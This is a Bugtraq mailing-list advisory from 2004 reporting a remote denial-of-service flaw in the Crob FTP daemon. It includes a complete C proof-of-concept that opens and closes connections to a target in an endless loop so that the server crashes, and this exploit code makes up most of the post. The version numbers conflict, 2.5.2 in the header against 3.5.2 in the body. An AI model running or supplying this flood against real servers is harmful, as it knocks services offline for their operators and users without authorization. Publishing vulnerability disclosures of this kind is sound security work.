bugtraq - crob ftpd Denial of Service

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Date: 12 Feb 2004 19:40:06 -0000
From: gsicht gsicht <nothing.king@...email.de>
To: bugtraq@...urityfocus.com
Subject: crob ftpd Denial of Service

Application:  Crob FTP daemon
              http://www.crob.net/en/
Versions:     2.5.2 maybe others
Platforms:    Windows NT
Bug:          Denial of Service
Exploitation: remote
Date:         12 Feb 2004
Author:       gsicht
              e-mail: nothing.king@...email.de

#######################################################################
1) Introduction
2) Bug
3) The Code
#######################################################################
===============
1) Introduction
===============
Quoute from the crob ftp's website:
"Crob Software Studio is a professional and innovative Internet software developing team. 
With incessant endeavor. Now we have Crob FTP Server. A professional FTP Service solution."

#######################################################################
======
2) Bug
======
Crob FTP Server 3.5.2 is vulnerable to a Denial of Service attack. The connecting and disconnecting to the server leads to the crash of
the daemon.
#######################################################################
===========
3) The Code
===========
/******************************/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{

	int s;
	struct sockaddr_in target;

	if(argc < 2)
	{
		printf("Usage: %s HOST [PORT]\n\n",argv[0]);
		return 0;
	}

	do
	{
	s = socket(AF_INET, SOCK_STREAM, 0);
	target.sin_family = AF_INET;
	target.sin_port = htons(atoi(argv[2]));
	target.sin_addr.s_addr = inet_addr(argv[1]);

	printf("-	connecting...\n");

	if( connect(s,(struct sockaddr*)&target, sizeof(struct sockaddr))<0)
	{
		printf("	connect() error!\n\n");
		exit(-1);
	}

	printf("	connected\n");
	printf("	closing connection\n");
	close(s);
	}
	while(1);
	return 0;
}
/*******************************/
#######################################################################